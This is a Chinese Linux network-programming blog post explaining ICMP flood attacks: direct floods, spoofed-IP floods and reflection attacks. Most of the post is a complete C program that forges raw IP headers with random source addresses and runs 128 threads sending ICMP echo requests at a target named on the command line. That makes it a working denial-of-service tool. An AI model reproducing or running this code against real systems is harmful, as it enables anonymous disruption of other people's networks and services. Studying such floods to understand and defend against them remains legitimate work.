Linux网络编程---ICMP洪水攻击

本文介绍了ICMP洪水攻击的三种方式:直接洪水攻击、伪装IP攻击和反射攻击,并提供了Linux环境下实现ICMP洪水攻击的代码示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、ICMP洪水攻击的原理

ICMP Flood 是一种在ping基础上形成的,但是用ping程序很少能造成目标机宕机的问题,这里边最大的问题是提高处理的速度,ICMP洪水攻击主要有以下3种方式。

(1)直接洪水攻击:这样做需要本地主机的带宽与目标主机之间带宽进行比拼,可以采用多线程的方法一次性得发送多个ICMP请求报文,让目标主机处理过程出现问题而速度缓慢或者宕机。直接攻击的方法有一个缺点,就是可以根据来源的ip地址屏蔽攻击源,并且目标源容易暴露,被对方反攻击。

(2)伪装IP攻击:在直接洪水攻击的基础上,将发送方的IP地址用伪装的IP地址代替,将直接洪水攻击的缺点进行了改进。

(3)反射攻击:与直接攻击和伪装攻击不同,反射攻击不是直接对目标机进行攻击,而是让其他一群主机误以为目标机在向它们发送ICMP请求包,一群主机向目标机发送ICMP回应包,攻击方向一群主机发送ICMP请求,将请求的源地址伪装成目标机的IP地址,这样目标机就成了ICMP回显反射的焦点。

ICMP洪水攻击的例子(伪装IP攻击),参考Linux网络编程:

//icmp攻击
//使用方式:./icmp ip(域名)
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
//最多线程数
#define MAXCHILD 128
//目的IP地址
struct sockaddr_in dest;
//ICMP协议的值
static int PROTO_ICMP = -1;
//程序活动标志
static int alive = -1;
static int rawsock;
static void DoS_icmp (void )
{
    struct sockaddr_in to;
    struct ip *iph;
    struct icmp *icmph;
    char *packet;
    int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;
    packet =(char *)malloc (pktsize);
    iph = (struct ip *) packet; //定位IP报头部
    icmph = (struct icmp *) (packet + sizeof (struct ip)); //定位上层协议位置(ICMP报文头部)
    memset (packet, 0, pktsize);
    
    //IP的版本,IPv4
    iph->ip_v = 4;
    //IP头部长度,字节数
    iph->ip_hl = 5;
    //服务类型
    iph->ip_tos = 0;
    //IP报文的总长度
    iph->ip_len = htons (pktsize);
    //标识,设置为PID
    iph->ip_id = htons (getpid ());
    //段的偏移地址
    iph->ip_off = 0;
    //TTL
    iph->ip_ttl = 255;
    //协议类型
    iph->ip_p = PROTO_ICMP;
    //校验和,先填写为0
    iph->ip_sum = 0;
    
    //发送的源地址,随机创建
    iph->ip_src.s_addr =random();
    
    //发送目标地址
    iph->ip_dst = dest.sin_addr;
    
    
    //ICMP类型为回显请求
    icmph->icmp_type = ICMP_ECHO;
    //代码为0
    icmph->icmp_code = 0;
    //由于数据部分为0,并且代码为0,直接对不为0即icmp_type部分计算
    icmph->icmp_cksum = htons (~(ICMP_ECHO << 8));
    //填写发送目的地址部分
    to.sin_family =  AF_INET;
    to.sin_addr = dest.sin_addr;
    to.sin_port = htons(0);
    //发送数据
    sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));
    //放内存
    free (packet);
}
void *DoS_fun (void * ip)
{
    while(alive)
    {
        DoS_icmp();
        
    }
    return NULL;
}
//信号处理函数,设置退出变量alive
void DoS_sig(int signo)
{
    alive = 0;
}
int main(int argc, char *argv[])
{
    struct hostent * host = NULL;
    struct protoent *protocol = NULL;
    char protoname[]= "icmp";   //协议名字
    int i = 0;
    pthread_t pthread[MAXCHILD]; //线程标志数组
    int err = -1;
    socklen_t on=1;
    alive = 1;
    
    //截取信号CTRL+C
    signal(SIGINT, DoS_sig);   //设置信号处理函数
    // 参数是否数量正确
    if(argc < 2)
    {
        printf("usage : \n");
        return -1;
    }
    // 获取协议类型ICMP
    protocol = getprotobyname(protoname);  //获取指定协议的信息
    if (protocol == NULL)
    {
        perror("getprotobyname()");
        return -1;
    }
    PROTO_ICMP = protocol->p_proto;     //ICMP协议的值
    //输入的目的地址为字符串IP地址
    dest.sin_addr.s_addr = inet_addr(argv[1]);
    if(dest.sin_addr.s_addr == INADDR_NONE)
    {
        //为DNS地址
        host = gethostbyname(argv[1]);
        if(host == NULL)
        {
            perror("gethostbyname");
            return -1;
            
        }
        char str[30];
        // printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));
        //  dest.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        inet_aton(inet_ntop(host->h_addrtype,host->h_addr,str,30),&(dest.sin_addr));
        
    }
    //printf("dst ip: %s\n", inet_ntoa(dest.sin_addr));
    
    // 建立原始socket
    rawsock = socket (AF_INET, SOCK_RAW, PROTO_ICMP);
    if (rawsock < 0)
    {
        perror("socket error");
        exit(1);
    }
    
    // 设置IP选项,自己构建IP报头部
    setsockopt (rawsock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
    //建立多个线程协同工作
    for(i=0; i<MAXCHILD; i++)
    {
        err = pthread_create(&pthread[i], NULL, DoS_fun, (void *)&i);
    }
    //等待线程结束
    for(i=0; i<MAXCHILD; i++)
        pthread_join(pthread[i], NULL);
    
    printf("over \n");
    close(rawsock);
    return 0;
}

程序很简单,通过
setsockopt (rawsock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
让构建IP头部的过程由自己实现,那么这样自己便可以控制源IP地址了,编写完了IP头部,在后面加上ICMP头部信息即可,这里没有ICMP没有携带数据,关于ICMP的详细的信息可以参考:   Linux网络编程---ICMP协议分析及ping程序实现,这里面有详细说明,理解了这个,再看这个例子就非常简单了。

抓包展示:




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值